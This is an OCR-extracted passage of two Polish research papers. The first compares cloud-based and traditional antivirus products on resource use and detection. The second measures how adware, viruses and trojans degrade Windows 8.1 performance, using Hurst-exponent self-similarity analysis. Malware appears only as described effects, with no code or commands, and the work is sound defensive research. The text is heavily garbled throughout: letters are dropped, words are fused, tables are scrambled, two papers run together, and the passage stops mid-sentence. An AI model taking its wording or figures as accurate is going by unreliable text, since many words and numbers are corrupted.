wirusowego architektury typu klient/chmura orazsi@dowego oprogramowa-
nia antywirusowego typu ,ekki klient”. Przeprowadzono je na wirtualnej ma-
szynie stworzonej w programie Oracle VM VirtualBox.

W przeprowadzanych testach porownano wplyw posztaggh progra-
méw antywirusowych na phe aspekty dziatania maszyny wirtualne;.
W badaniach wykorzystano ngstijagce oprogramowanie antywirusowe:

e Panda Free Antivirus 16 (program typu Kklient/chmura

e Trend Micro Internet Security 10 (program typu kliechmura),

« BullGuard Internet Security 16 (program dzia¢gj w oparciu o ,Gjz-
kiego klienta”),

« Avast Internet Security 11 (program dzig&j w oparciu o ,azkiego
klienta”).

4.1. Pamie¢ RAM oraz uzycie procesora

W tej czsci testébw skupiono sina sprawdzeniu wpltywu tych aplikacji na
wykorzystanie pamgti RAM oraz wycie procesora. Badania zostaly przepro-
wadzone zar6wno w czasie dziatania jatowego jakdcgas catkowitego ska-
nowania systemu. Do przeprowadzenia hadgkorzystano systemowe narz
dzie PERFMON, ktére pozwala na monitorowanie i gapanie do pliku para-
metrow komputera. W czasie przeprowadzanych tegi@ametry zapisywano
do pliku co 5 sekund.

4.1.1. Wariant 1 - praca jalowa

Badania byly przeprowadzano przez okres 5 minutykV czasie na ma-
szynie nie byly wykonywangadne operacje, aby otrzymane wyniki byly wiary-



Programy antywirusowe typu ... 83

godne. Trzy spwdd czterech testowanych programéw antywirusowygkow
rzystywaty podobg ilos¢ pameci RAM. W przeprowadzonym geie najlepiej
wypadto oprogramowanie Avast Internet Securitysdldostpnej pam¢ci RAM
na systemach z zainstalowanymi programami typuntitemura byta o tylko
kilkka MB mniejsza nt w przypadku systemu z zainstalowanym oprogramowa-
niem firmy Avast. Najgorszy wynik zostat a@gnicty na maszynie z zainstalo-
wanym oprogramowaniem BullGuard Internet Secuityt on o 264 MB gor-
szy w stosunku do wyniku otrzymanego na maszyriaigstalowanym opro-
gramowaniem firmy Avast. Badane programy antywivusmbcyzaty procesor
w niewielkim stopniu, wahagym st od 3% do 8,82%.

Na Rys. 2. przedstawiono poréwnaniesdiodostpnej pamici RAM oraz
srednie wycie procesora w systemie podczas dziatania jatovedg wszystkich
testowanych programow.

~mSystem bez
~— programu

antywirusowego
— m Avast Internet

Security 11

m Panda Free Antivirus
16 (Cloud)

Dostpny
RAM [MB]

Rys. 2. Poréwnanie ifgi dostpnej pamici RAM oraz wycia procesora w systemie w czasie
dziatania jatowego dla wszystkich testowanych paogiw

Fig. 2. Comparing the amount of available RAM and GQBdge in the idle system for all tested
programs

4.1.2. Wariant 2 - catkowite skanowanie maszyny

Czasy trwania testow poszczegOllnych programéw dntgawych byly
rozne. Byto to spowodowane zndicowanym czasem potrzebnym do przepro-
wadzenia catkowitego skanowania maszyny za pamniestowanych progra-
moéw. Podczas skanowania na maszynie nie byly wylkkangzadne operacje,
aby otrzymane wyniki byty wiarygodne.
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Dostpna pamg¢ RAM byta r&¢na w zalenosci od wywanego programu
antywirusowego. Najwce] dosgpnej pamgci bylo w czasie skanowania za
pomog programu Avast Internet Security. Programy Pan@& Rntivirus oraz
Trend Micro Internet Security agjnety nieco gorsze wyniki. Najmniej dagt-
nej pamgci byto w trakcie skanowania za pomgarogramu BullGuard Internet
Security. Program ten olgat pamgé RAM w najwieckszym stopniu.

Na Rys. 3 przedstawiono poréwnaniesdodostpnej pamici RAM oraz
wykorzystania procesora w czasie skanowania maspyny wyciu testowa-
nych programow antywirusowych. Wszystkie badaneggamy antywirusowe
znacznie obgraty procesor w trakcie skanowania systemu. Progkaast In-
ternet Security wykorzystywat procesor w najmnigiszstopniu okoto 71,62%.
Najwigksze obcizenie procesora zostato zanotowane podczas skarewvzani
pomog programu BullGuard Internet Security 93 %.

700 1 615, 453400

to0 1 4 77 m System bez
g programu
500 1 93 antywirusowego
400 - 1 m Avast Internet
300 + ~ Security 11
200 T - al ® Panda Free
108 -\:’ - 1,56 / Antivirus 16
— e (Cloud)
Dostpny RAM

[MB]

Rys. 3. Poréwnanie ikgi dostpnej pamici RAM oraz wykorzystania procesora w czasie skano-
wania maszyny w trybie jalowym

Fig. 3. Comparing the amount of available RAM and QRilization during scanning process in
the idle system

4.2.Badania wplywu oprogramowania antywirusowego ha
szybkas¢ dziatania systemu

Do oceny wplywu obecrici w systemie programéw antywirusowych prze-
prowadzanych w trakcie dziatania jatowego tj. cegst bez zainfekowanych
plikbw przeprowadzono szereg testéw, uwdgiajgcych m. in. czas urucho-
mienia systemu, czas kopiowania folderu testowegpojemndci 2 GB), czas
archiwizacji przyktadowego folderu (300 MB, progr&asy 7-Zip), czas rozpa-
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kowywania archiwum testowego (program Easy 7-Zizgs instalacji pakietu

biurowego Microsoft Office 2003 (standardowe ustama), czy czas trwania
catkowitego skanowania systemu. Dlaz#k@go programu zostaty wykonane
3 pomiary i ha podstawie tych wastd zostaly obliczonerednie. W Tab. 1

przedstawiono szczegotowe wyniki przeprowadzonyauiain

Tabela 1. Poréwnanie szybiab dziatania systemu
Table 1. Comparison of the speed of the system

E g :
) @ >
o5 |s. | &, |8
Bo = Lo 5 © 0
= =2 5: c LA w
52 |50 |02 |52 | 2
L2 |~ |g3 |E3 |22
(OIS o - N 9 n 7]
® ® c 5 = “5
> @ o m =
%) a = <
Czas uruchomienia systemu [s] 30 57 43 50 53,67

Czas kopiowania folderu testowe-
go — dziatanie jatowe [min:s]
Czas archiwizacji folderu testo-
wego [min:s]

Czas rozpakowywania archiwum
testowego [s]

Czas instalacji pakietu biurowegg
Microsoft Office 2003 [min:s]
Czas catkowitego skanowania
maszyny [min:s]

4:25 6:21 5:23 5:38 4:50

2:26 2:49 2:40 2:38 2:30

21 32 22,33 28 21

2:42 4:25 4:24 4:24 3:38

- 37:29 | 30:46| 46:12| 13:04

Producenci oprogramowania antywirusowego typu kidimura zapewnia-
ja, ze programy tego typu w da mniejszym stopniu wptywajna wydajnéc¢
komputera w poréwnaniu ze standardowymi programemywirusowymi. Ba-
dania, ktorych wyniki zostaty zaprezentowane niekdieca potwierdzaj te za-
pewnienia. W testach czasowych zdecydowanie najlgpradzit sobie program
Avast Internet Security. Programy BullGuard Intér8ecurity oraz Trend Micro
Internet Security w testach czasowych wypadly nigazej od programu firmy
Avast. Zdecydowanie najgorsze wyniki zostaly otrapm na maszynie
Z zainstalowanym programem Panda Free Antivirus.

4.3. Badania wykrywalnosci ztosliwego oprogramowania

Do oceny wykrywalnéci ztosliwego oprogramowania przeprowadzano testy
majace na celu sprawdzenie czasu wykrycia i ugtaizainfekowanych pli-
kow. Uwzgkdniono rownie wptyw braku dosfpu do Internetu na dziatanie
oprogramowania antywirusowego typu klient/chmurazeBrowadzone testy
obejmowaly badanie wykrywaldoi ztosliwego oprogramowania (zainfekowano
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300 plikéw), liczby usuritych zainfekowanych plikéw, wptyw braku dept
do Internetu na wykrywalr$6 zagraen oraz liczlg usungtych zainfekowanych
plikéw. W Tab. 2 przedstawiono wyniki przeprowadyom bada.

Tabela 2. Pordwnanie skutecZoindziatania programéw antywirusowych
Table 2. Comparison of the effectiveness of antis/goftware

Panda Free
Antivirus 16
Internet
Security 1C
BullGuard
Internet
Security 1€

Trend Micro
Avast Internet
Security 11

N
w
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N

Liczba wykrytych zagrezen
Liczba usungtych zainfekowanych plikéw 199
Liczba wykrytych zagrzen bez dosipu do 107 38 _ )
Internetu (tylko programy klient/chmura)

[
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w
[
(o]
Q
[EEN
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S

Badania majce na celu sprawdzenie wykrywa$geo ztosliwego oprogra-
mowania i liczby usurtych szkodliwych plikéw nie wyltonity jednego progra
mu, ktéry poradzit sobie z tymi zadaniami najlepiBfogram Avast Internet
Security wykryt zdecydowanie najpdej zagragen sparéd testowanych pro-
gramoéw. Jednak iké wykrytych zagraen nie pokrywa si z liczla usunétych
zainfekowanych plikéw. W tym feie najlepiej wypadt program Panda Free
Antivirus, ktéry usugt najwiecej szkodliwych plikbw. Badano réwrievptyw
braku dosfpu do Internetu na oprogramowanie antywirusowenkiddmura.

Z przeprowadzonego testu wynika brak dosipu do sieci znacznie zmniejsza
skuteczné¢ wykrywania zigliwego oprogramowania przez programy antywiru-
sowe dzialajce w oparciu o chmagr

5. Podsumowanie

Przeprowadzone testy wykazalyze programy dzialgce w oparciu
o chmug map niewielki wptyw na wydajn& komputera, co nie jest regut
w przypadku programow, ktére korzysted tzw. ,ciezkiego Klienta”. Istniej
jednak programy, ktére pomimo tege, nie korzystaj z chmury antywirusowe;j
w matym stopniu obaiaja zasoby komputera. Oprogramowanie antywirusowe
dziatapce w oparciu o architekteiklient/chmura nie jest bez wad. Brak dgst
do Internetu powoduje znaczne zmniejszenie wykrgeéal ztosliwego opro-
gramowania przez tego typu programy. Taka sytuacja wystpuje
w przypadku programéw, ktore wykryvgajvirusy na podstawie sygnatur pobie-
ranych na dysk komputera.

Programy antywirusowe dziat@e w oparciu o architekteirklient/chmura
stanowi powazng alternatywg dla programow korzystagych z tzw. ,cézkiego
klienta”. Takie cechy jak dia szybké¢ dziatania, maty wplyw na wydajsé
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systemu oraz wysoka wykrywal§toztosliwego oprogramowania magackecic
wielu wytkownikdw do korzystania z tego typu oprogramoweartoprzez gro-
madzenie i przetwarzanie danych odzdego uytkownika sieci, chmura jest
silnym systemem ekspertowym zaprojektowanym doiandkiatalngci cyber-
przestpczej. Dane potrzebne do blokowania atakévdaestarczane do wszyst-
kich uczestnikow sieci chmury, co pomaga zapoldiegalejnym infekcjom.
Maksymalna ochrona me zosté osignieta jednak poprzez pgzenie obecnie
panujcych technologii bezpiecastwa z systemami antywirusowymi opartymi
na chmurze.
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BADANIE WYDAJNO SCI SYSTEMU
OPERACYJNEGO ZAINFEKOWANEGO
Zt O SLIWYM OPROGRAMOWANIEM

Z WYKORZYSTANIEM ANALIZY
SAMOPODOBIENSTWA

W artykule przedstawiono wptyw oprogramowaniaskweego na wydajnéc sys-
temu operacyjnego z wykorzystaniem aplikacji zhigrey dane oraz analizy ob-
cigzenia systemu zayciem elementéw statystyki nieekstensywnej w szélren

$ci samopodobigstwa proceséw. Badano wplyw oprogramowaniaslze@go

w postaci: wiruséw, trojandw oraz adware. Zainfekaw systemy operacyjne
Windows 8.1 przebadano pod wadém ich wptywu na wykorzystanie procesora,
pamkci RAM oraz dysku twardego. Wykorzystano wyktadiliarsta do analizy
zebranych danych.

Stowa kluczowe:badania wydajnaiowe, ztgliwe oprogramowanie, analiza sa-
mopodobiéstwa, Windows Performance Analyzer.

1. Wstep

W artykule przedstawiono badania dotyoz wplywu oprogramowania
zlosliwego na system operacyjny. Wirusy jg@dra z najwgkszych plag trapr
cych wytkownikow komputeréw. Tworcy zkliwego oprogramowania zagi
pis& je juz we wczesnych latach '80 zalo kaica tego dziegtiolecia w wek-
szasici wypadkow byty to jedynie programy mgze wywotd usmiech na twarzy
lub zdenerwowaniezytkownika, ktory z takim programemestetkrgt. Wraz z
ogromnym rozwojem Internetu w latach '90 swdj ropvpdzezywato take
oprogramowanie typu malware, przybigwg coraz nowe formy, ktére zata

1 Autor do korespondencji: Bartosz Bek, Politechnika Rzeszowska, bartekbrozek@gmail.com
2 pawet Dymora, Politechnika Rzeszowska, Katedra Emdegtroniki, Elektroenergetyki i Sys-
temow Ztazonych, pawel.dymora@prz.edu.pl

3 Mirostaw Mazurek, Politechnika Rzeszowska, KatednarBoelektroniki, Elektroenergetyki i
Systemow Ztaonych, miroslaw.mazurek@prz.edu.pl
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wykorzystywa& coraz cesciej do wykradania danych z komputeréw oraz nisz-
czenia ich, blokowania ruchu sieciowego i innycynkinalnych dziata. Dzisiaj
wielu ekspertow uwaa, iz liczba oprogramowania Alwvego jest weksza ni
reszty oprogramowania [1].

Niestety straty zwizane z dziatalriwia oprogramowania malwarey s
ogromne i liczone w miliardach dolaréw. Firmy i koracje wydaj srodki nie
tylko na wykrywanie i walk z takimi programami, ale i na ,regenekgcpo
stratach spowodowanych malwarem. Przewidugisisam wirus Melissa kosz-
towat amerykaska ekonom¢ 1,2 miliarda dolarow, Zabardziej znany Love
Bug Virus spowodowat straty w wysal@ 8,7 miliarda dolaréw. A 84% zio-
sliwych programéw powoduje steaR0 dni roboczych i 50 godzin na regenera-
cje po infekcji [2, 3]. Aby zapobiec lub przynajmnigjczgsci ograniczy skutki
dziatania oprogramowania Zlawvego w artykule zaprezentowano oryginalne
podefcie polegajce na wykorzystaniu elementdéw statystyki nieekstensj,
zwlaszcza analizy samopodoiséva do badania wydajec zainfekowanego
systemu.

2. Analiza samopodobig@stwa

Czesto stosowan miarg samopodobigstwa jest wspotczynnik Hurstd,
ktory wyprowadzony zostat przez hydrologa H. E. $fardz¢éki obserwowaniu
fluktuacji poziomu rzeki Nil. Im wart& H jest blisza 1, tym dane zjawisko
wykazuje wecej cech samopodolsistwa [4, 5]. Pomidzy wartdcia H af czyli
miarg szybkaci zanikania wariancji odgbow przeskalowanego w czasie stru-
mienia zdarz& istnieje zalenos¢:

H=1-1 (1)

2
gdzie:

H — wspétczynnik Hursta,
S — miara szybkgci zanikania wariancji odgbéw przeskalowanego w czasie
strumienia zdarze

Istnieje szereg metod wyznaczania wspotczynnikastdur Do najogciej
wykorzystywanych nale:
» Stworzenie wykreséw statystyki R/S w funkcji skadiasu,
» Stworzenie wykresdw wariancji skompresowanego moee funkcji
skali czasu,
e Zastosowanie metody wat bezwzgédnej,
» Zastosowanie metody periodogramowej,
» Zastosowanie estymatora Whittle’'a.
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Jeili za pomog tych metod uzyska siwspotczynnikH wigkszy od 0,5 to
mozna uzné, iz strumier zdarzé ma charakter samopodobny. Zadesci krot-
koterminowe wysipuja wtedy, gdyH jest bliski 0,5 [6, 7].

Dodatkowo wspotczynnik Hursta mma podziek na trzy grupy:

* Antypersystentne, gdy O < 0,5;

* Persystentne, gdy 0,5H< 1;

* Losowe, gdyH =0,5;

Oznacza toze jelli uzyskany wspoétczynnikdalzie mniejszy i 0,5 to sze-
reg danych &dzie charakteryzowat giczestymi zwrotami w kierunku prze-
mieszczania. 38 H = 0,3 to istnieje 70% prawdopodoh#wo,ze szereg zmie-
ni kierunek przemieszczania w kierunku aktualnisestvowalnego. 3é zas
wspoétczynnik Hursta wynosi na przyktad 0,7 to wtedgzna uzna, iz istnieje
70% prawdopodobisstwo, iz dany trend zostanie utrzymany. Imzeji wartcci
0,5 tym weksze prawdopodobhistwo losowaéci zachowania szeregu.

3. Model systemu

Do bada jako systemu testowegayio systemu Windows 8.1 Pro zainsta-
lowanego na maszynie wirtualnej obstugiwanej praemram VirtalBox. Spe-
cyfikacje komputera hosta opisano w Tab. 1.

Tabela 1. Specyfikacja komputera hosta
Table 1. Specification of host computer

Podzespdét komputera Nazwa podzespotu

System operacyjny Windows 10 Pro (64bit)

Procesor AMD Phenom Il X4 Black Edition 965, 38251
Pami¢ RAM 2 x GoodRam 4GB 1600MHz DDR3 CL9

Dysk twardy SAMSUNG HD502HI

Piyta gtdwna MSI 970A-G46 (MS-7693)

Karta graficzna AMD Radeon HD 7790 1GB GDDR3

Na fizycznym komputerze utworzono masgywirtualng o specyfikacji
opisanej w Tab. 2. Na testowanym systemie opergoyjnie zainstalowano
zadnych aplikacji poza programem Windows PerformaReeorder do zbiera-
nia danych. Aby zminimalizowaryzyko wptywu czynnikéw wewgtrznych i
zewretrznych na wydajn& badanego systemu dodatkowo yo#ono ustug
Windows Update aby upewnbig, ze zadna poprawka nie wplynie na wydaj-
nos¢ systemu. Dezaktywowano tak program antywirusowy Windows Defen-
der. System ten postyt jako odniesienie do pozostalych systeméw zaiofek
wanych r@nymi typami oprogramowania #owvego, stworzonych dzki meto-
dzie klonowania.
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Tabela 2. Specyfikacja maszyny wirtualnej
Table 2. Specification of virtual machine

Podzespdt maszyny wirtualnej Nazwa podzespotu
System operacyjny Windows 8.1 Pro (64bit)
llo$¢ dostpnych rdzeni 1

Pamig¢ RAM 4GB

Dysk twardy 40GB

Pamkic¢ karty graficznej 256MB

Akceleracja 2D Wyczona

Akceleracja 3D Wyczona

Procedug testow przedstawiono na Rys.1.

Procedura testowa

Instalacja systemu Windows 8.1 Pro na maszynie
wirtualnej

v

Wytaczenie niektérych ustug oraz programu
antywirusowego

v

Klonowanie maszyny wirtualnej

Zbieranie danych dotyczacych Wprowadzanie do dodatkowych
wydajnosci systemu bez maszyn wirtualnych
oprogramowania ztosliwego oprogramowania szkodliwego

Zbieranie danych dotyczacych
wydajnosci systemu zarazonego
réznymi typami oprogramowania
ztosliwego.

> Analiza i poréwnanie zebranych danych J

;

Analiza samopodobieristwa (wyznaczenie
wyktadnika Hursta)

Rys. 1. Procedura testowa
Fig. 1. Test procedure
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3.1. Aplikacja testowa

Do testow nie gyto benchmarkéw typowych dla zastos@wdomowych.
Przeprowadzono kilka serii batlgprogramami z izyciem oprogramowania:
PCMark08 oraz 3D Mark. Okazataske te programy nie umbwiajg szczego-
towej analizy wydajnéciowej, podajc jedynie kacowa punktacg, niedajce]
szerszego pogliu na wydajn& systemu.

W celu zestawienia ze splystemu czystego tj. bez oprogramowania zito-
sliwego i systemu za@nego takim oprogramowanienzyio programu Win-
dows Performance Recorder. Procedura zbieraniacamyierata si na wybra-
niu odpowiednich licznikbw do zbierania danych {m.wykorzystanie proceso-
ra [%], wykorzystanie pareti RAM [MB] oraz wykorzystanie dysku twardego
[%]). Aby zminimalizow& wptyw tego programu na wydajftowybrano niski
poziom detali zbieranych danych, ¢idiczemu program tworzy mniejsze pliki z
danymi, ktére zapisywano na dysku twardym (zapisyevach w pamgci po-
wodowato ograniczenia zbierania danych do okotoniut).

4. Testy wydajnasciowe
4.1. System niezaraony oprogramowaniem szkodliwym

Pierwszym celem badabyta analiza wczmiej przygotowanego systemu
operacyjnego zainstalowanego ha maszynie wirtuaki@jy nie zawierat opro-
gramowania zifliwego. Za kadym razem testowane maszyny wirtualne byty
przed kadym rozpoczciem zbierania nowych serii danych uruchamiane po-
nownie w celu zminimalizowania wptywu procesow sysbwych dziatajcych
w tle. Zebrane dane dotyczyly wykorzystania proceg®ys. 2), pamgci RAM
(Rys. 3) oraz dysku twardego (Rys. 4), azéakazdego procesu uruchomionego
w systemie operacyjnym z osobna.

Wykorzystanie procesora [%]
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Rys. 2. Wykorzystanie procesora
Fig. 2. CPU usage



94 B. Brozek, P. Dymora, M. Mazurek

>
g 4000
% 3000
£ = 2000
o
= = 1000
c
0
o
2 0 1000 2000 3000 4000 5000
[e]
&) Czas (s)

Rys. 3. Wykorzystanie pagti RAM
Fig. 3. RAM usage

Uzycie dysku twardego (%)
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Rys. 4. Wykorzystanie dysku twardego
Fig. 4. HDD usage

Wykorzystanie wyej przedstawionych zasobdw ksztattowale sa stan-
dardowym poziomie. Nie zauwano jakichkolwiek anomalii w teie, co sta-
nowi¢ bedzie poziom odniesienia do kolejnych bada

4.2. Pordwnanie systemu niezarzonego z systemem zag@nym opro-
gramowaniem typu adware

Chac zbadé wptyw oprogramowania typu adware, do systemu apgra
nego zostat wprowadzony program MixVideoPlayerrkiastalupc dodatkowy
komponent BrowserWeb Wwietla reklamy zaréwno za pomp@rzeghdarki
Internet Explorer, jak i zwyktych okien [1].

Uzyskane dane zebrano i poréwnano poprzez zestaweykorzystania
bazowych zasobow. Szczegoty dotyma wydajndci i zuzycia poszczegoélnych
podzespotow komputera pokazano na Rys. 5 - 9.
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Wykorzystanie procesora (%)
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Rys. 5. Wykorzystanie procesora przez system z sdaraz system niezainfekowany
Fig. 5. CPU usage in system infected with adwackrat infected system

Na pocatku testu system operacyjny pracowat normalniep@kazano na
Rys. 5), jednake juz od okoto 875 sekundy mipa zauway¢ wyrazny spadek
wydajnaci spowodowany uruchomieniem procesu BrowserWeb lexey od-
powiedzialny byt za w§wietlanie reklam w oknach oraz w programie Internet
Explorer (Rys. 6 i Rys. 7).

9 CPU Usage using resource time 25 [Switch-In Time Switch-In Time+New Switch-In Time] {Aggregation: Sum)

New Process BrowserWeb.exe (2640)| |
Time 1562,858329961s
% CPU Usage 9,37825073

Rys. 6. Wykorzystanie procesora przez proces Braiebrexe
Fig. 6. CPU usage of BrowserWeh.exe process

9% CPU Usage using resource time as [Switch-In Time.Switch-In Time+New Switch-In Time] (Aggregation: Sum)

New Process jexplore.exe (1636)
Time 2 0276410647965
% CPU Usage 19,222284737

Press Alt~Space to show mere detal
Press G+ Shift+C to copy test

2027 54106475655]

Rys. 7. Wykorzystanie procesora przez jeden z pisednternet Explorera wyietlajacego
reklamy

Fig. 7. CPU usage of one of the Internet Explorecess displaying advertisement
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% CPU Usage using resource ime as [Switch-In Time Switch-In Time+New Switch-In Time] (Aggregation: Sum)

New Process jexplore exe (2752)

Time 3 811,244809725s

% CPU Usage 18,949958225

Prass Alt=Space 10 show

Rys. 8. Wykorzystanie procesora przez kolejny zesow Internet Explorera dnyietlajacego
reklamy

Fig. 8. CPU usage of another Internet Explorer @ssdisplaying advertisement
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Rys. 9. Dosfpnas¢ pamizci RAM w systemie z adware i w systemie niezainfekoym
Fig. 9. RAM memory usage in system with and withadware

Uzyskane wyniki pokazuj iz nawet jeden program \éyietlajacy reklamy
moze mig zasadniczy wptyw na ikd¢ dostpnej pamgci RAM. Najwigckszy
spadek zaobserwowano w chwili uaktywnienia procBsawserWeb.exe wy-
swietlajgcego reklamy. Dostrzec moa kilka spadkéw iléci dostpnej pamgci,
co spowodowane zostatlo wykorzystywaniem pamprzez kolejne reklamy
otwierane w oknach programéw BrowserWeb.exe i i@eExplorer.

Nie zaobserwowano wplywu oprogramowania typu adwarevykorzysta-
nie dysku twardego.

4.3. Wirus Win32.DarkSeoul.9fb87

Kolejnym testem byto okibenie wptywu wirusa Win32.DarkSeoul.9fh87
na system operacyjny. Uruchomienie wirusa bytosgilietemu operacyjnego oraz
plikéw uzytkownika katastrofalne w skutkach. Test trwat nigonad dwie mi-
nuty, & zasoby systemu zostaly skonsumowane przez pratadiye. Powo-
duje on nieodwracalne zmiany w Zblym napotkanym pliku (nadpisuje od
10 230 do 40 920 bajtow losowych danych), co praivald niemanaosci ich
pé&zniejszego otworzenia. Ma on tak maziwosé usuwania plikéw (podczas
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testow ikony z pulpitu zael pojedynczo znik&w bardzo krétkich odgpach
czasu) [2].

W celu nadpisywania dej ilosci plikbw wirus zaywat duza moc oblicze-
niowa procesora, co pokazano na Rys. 10.

9 CPU Uszge using resource fime as [Switch-In Time Switch-In Time+New Switch-In Time] {Aggregation: Sum)

4
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] pi] 0 a0 50 0 ] 8 | New Process Virus.Win32.Trojan.D ... oul.9fo87.exe (1600)
ewThres... Readying Process Readying..  Count. Ready (us) Ready (s) Waj Time

0  Unknown I -1 149

g % CPU Usage

Rys. 10. Wykorzystanie procesora przez proces wirus
Fig. 10. CPU usage of virus process

Wykorzystanie dysku twardego przez proces wiruda bgardzo wysokie.
Zjawisko to jest zrozumiate bige pod uwag fakt, iz wirus chgle wprowadzat
zmiany w napotkanych plikach (Rys. 11).

Utiization per 1 Disks using resource fime 25 [Complete Time-Disk Service Time,Complete Time] [Aggregation Sum}
100 Y i

By 10 0 EL 4 50 3] 70 & %

Rys. 11. Wycie dysku twardego przez proces wirusa
Fig. 11. HDD usage of virus process

W szczytowym momencie wirus zywat okoto 15,5 MB pamici RAM.

4.4. Wplyw trojanOw na prace systemu operacyjnego

Do kolejnego testu magego okréli¢ wptyw Trojanéw na system opera-
cyjny wprowadzono do systemu trojan Win32/FolyrisJast on w stanie wyko-
nywat rézne akcje na zainfekowanym komputerze, podyktowazezposob
majaca kontrok nad tym trojanem [3]. Wptyw na wykorzystanie mauylicze-
niowej procesora byt bardzo niewielki, co pokazaa®Rys. 12.
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% CPU Usage using resource time 25 [Switch-In Time Switch-In Time-+New Switch-In Time] {Aggregation: Sum)

New Process  ctfmon (1488)

awThrea.. Readying Process Readying..  Count. Ready(us) s, Rea TiMme 932,3723066325 jts (us) s C % CPU Usage o,° Legen
0 Unknown » Al 74 0000 | % CPU Usage  0,543381804 0,000 96,751

Rys. 12. Wplyw trojana Folyris.A na wykorzystani@gesora
Fig. 12. CPU usage of Folyris.A trojan

Peak Outstanding Working Set using resource time as [Time EndTime(internal use)] {Aggregation: Max)

6000000 B
5 Process ctfmon (1488)
Time 567,344161831s
20000008 Peak Outstanding Working Set 5804032 B
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Rys. 13.Wplyw trojana Folyris.A na wykorzystanienpeci RAM
Fig. 13. RAM usage of Folyris.A trojan

Proces trojana (w systemie widoczny pod ngzwimon.exe) wykorzysty-
wat niecale 6 MB pamci operacyjnej (Rys. 13). Wplyw procesu na dyskriwa
dy rowniez byt bardzo niewielki i ograniczyt sido kilku 100% skokoéw wyko-
rzystania dysku twardego w celu utworzenia nowelgaip dokonania zmian
w rejestrze (Rys. 14).

Utilization per 1 Disks using resource time as [Complete Time-Disk Service Time Complete Time] (Aggregation: Sum)
100

Rys. 14.Wplyw trojana Folyris.A na wykorzystaniestly twardego
Fig. 14. HDD usage of Folyris.A trojan

5. Wyniki badan

Wyniki bada zebrano w dwoch tabelach. W Tab. 3 przedstawiamovp
nanie wykorzystanie procesora,sito pameci RAM orazsrednie uycie dysku
twardego. Tabela pokazuje informacje dofgez badanych systemow operacyj-
nych (bez oprogramowania #liwvego oraz z oprogramowaniem gligvym).
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Tabela 3. Podsumowanie wykonanych kada
Table 3. Summary of performed tests

Srednie wykorzy- | llo§¢ pamieci RAM Srednie uzycie
Badany SO stanie procesora | dostepnej pod koniec | dysku twardego
[%] testow [MB] [%]

Czygty (be_z oprogramo- 077 2886 21
wania zigliwego)
Jeden program adware 26,29 2298 4,23
Pie¢ programéw adware 51,12 2032 3,97
Wirus
Win32.Shakblades.sv 88,08 i 2.1
Wirus Win32.DarkSeoul 11,46 - 45,57
Jeden trojan 2,01 2749 1,52
Dziesk¢ trojanéw 2,13 2743 1,57

Do analizy samopodohistwa wykorzystano opensourcowy program
SELFIS napisanego w3yku Java, stiacego do wykonywania analizy samopo-
dobienstwa i zalenosci dtugoterminowych. Pozwala on takna wyznaczenie
wspotczynnika Hursta. Oprogramowanie to zostalo avgistane do analizy
zebranych danych. Wspéilczynnik Hurktavyznaczono za pomge metod:

1. Wariancja skumulowana,
2. Metoda periodogramowa,
3. RIS,

4. Estymator Whittle'a.

Szczegotowe wyniki badezebrano w tabelach 4 i 5. W Tab. 4 poréwna-
no uzyskane czterema metodami wspoétczynniki Hurdigasystemu niezainfe-
kowanego oraz systemu z programem MixVideoPlayeas@estu wynosit 5500
sekund. Jak mma zauway¢ system niezainfekowany charakterygujizsze
wartasci wyktadnikaH w poréwnaniu z systemem zainfekowanym.

Tabela 4. Wyktadnik Hursta dla systemu niezainfekoggo oraz z programem MixVideoPlayer
Table 4. Hurst factors for not infected system system with MixVideoPlayer program

Metoda System bez progra- | System z jednym progra-
mow adware mem adware
Wariancja skumulowana 0.683 0.996
Metoda periodogramowa 0.645 0.997
R/S 0.529 0.820
Estymator Whittle’a 0.712 0.959

W Tab. 5 poréwnano uzyskane wyniki dla systemwaiidekowanego
oraz systemu z wiruseiwin32.Shakblades.s\Czas testu wynosit rownies500
sekund. Podobnie jak poprzednioma zauway¢, iz system niezainfekowany
charakteryzuje sinizszymi wartdéci wyktadnikaH.
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Tabela 5. Wyktadnik Hursta dla systemu niezainfekoggo oraz z wirusem Win32.Shakblades.sv
Table 5. Hurst factors for not infected system sygtem with Win32.Shakblades.sv virus

Metoda System bez wirusa W?gg;g]h;ml:’;ee?sv
Wariancja skumulowana 0,727 0,923
Metoda periodogramowa 0,600 0,864
R/S 0,262 0,779
Estymator Whittle’a 0,864 0,998

W obu przypadkach widaze wspotczynnik Hursta jest wyzy w momen-
cie, gdy w systemie obeche jest oprogramowanidizi® wptywajgce na dodat-
kowe wykorzystanie zasobéw komputera. System Zadmfany charakteryzuje
20-30% wzrost wspoétczynnika. Niestety nie pozwalaé jednoznaczne stwier-
dzenie, czy jest to oprogramowanie szkodliwe w gostirusow czy adware,
jednake analiza wynikow i odniesienie ich do systemu bago bez oprogra-
mowania wplywajcego na wydajnid systemu operacyjnego te pomoc w
wykryciu anomalii w takim systemie odna@sgch s¢ do jego wydajnéci. Chac
dokona szczegdtowej analizy z wydzieleniem co #mdy¢ powodem wzrostu
wyktadnika, naley dokona dodatkowej analizy multifraktalnej. Przeprowadzone
analizy wykazaty,7 zaobserwowane zmiany cechgje jednak zaréwno zateo-
sci dtugoterminowymi, jak rowniewtasngciami multifraktalnymi.

6. Podsumowanie

W artykule ukazano wptyw #dych typdéw oprogramowania szkodliwego na
wydajna¢ systemu operacyjnego. W toku badikazato g, iz to pozornie nie-
grozne programy typu adware wwyietlajagce reklamy maj najwickszy wptyw na
wydajna¢ systemu operacyjnego. ggte wyswietlanie s¢ kolejnych reklam do-
prowadzito do coraz wkszych spadkow wydajéociowych, w tym zwgkszenia
zapotrzebowania na zasoby procesora orazeggaRAM. W wielu przypadkach
moze to doprowadzi do zakidcenia pracy zwyktegazyikownika komputera,
ktory musi uruchamiane reklamy wggkat oraz do spadkéw wydajéciowych na
tyle duzych, ze uniemaliwi g ptynng rozgrywlke w wymagagcych czsto mocnego
sprztu komputerowego grach. Badane wirusyzéaknocno wptywaty na wydaj-
nos¢ komputera, agsto doprowadzag do niemate 100% wykorzystania proceso-
ra. Mogy powodowa takze due wykorzystanie dysku twardego.

Podczas zbierania danych na temat wplywu trojaréwydajnéé¢ systemu
operacyjnego okazatoesiiz nawet dua ilos¢ tego bardzo szkodliwego opro-
gramowania ma niewielki wplyw na wydajtosystemu. Sytuacja ta dowodzi
trudncci w zdiagnozowaniu,zikomputer zostat takim oprogramowaniem zara-
zony. Wyniki badé dotyczce analizy samopodoliistwa byly jednoznaczne.
W kazdym przypadku, kiedy w systemie operacyjnym wpgetvato oprogra-
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mowanie szkodliwe niekorzystnie wptywag na wydajng& komputera wspét-
czynnik Hursta byt podwaszony i bliski liczby 1. Niestety chc dokong
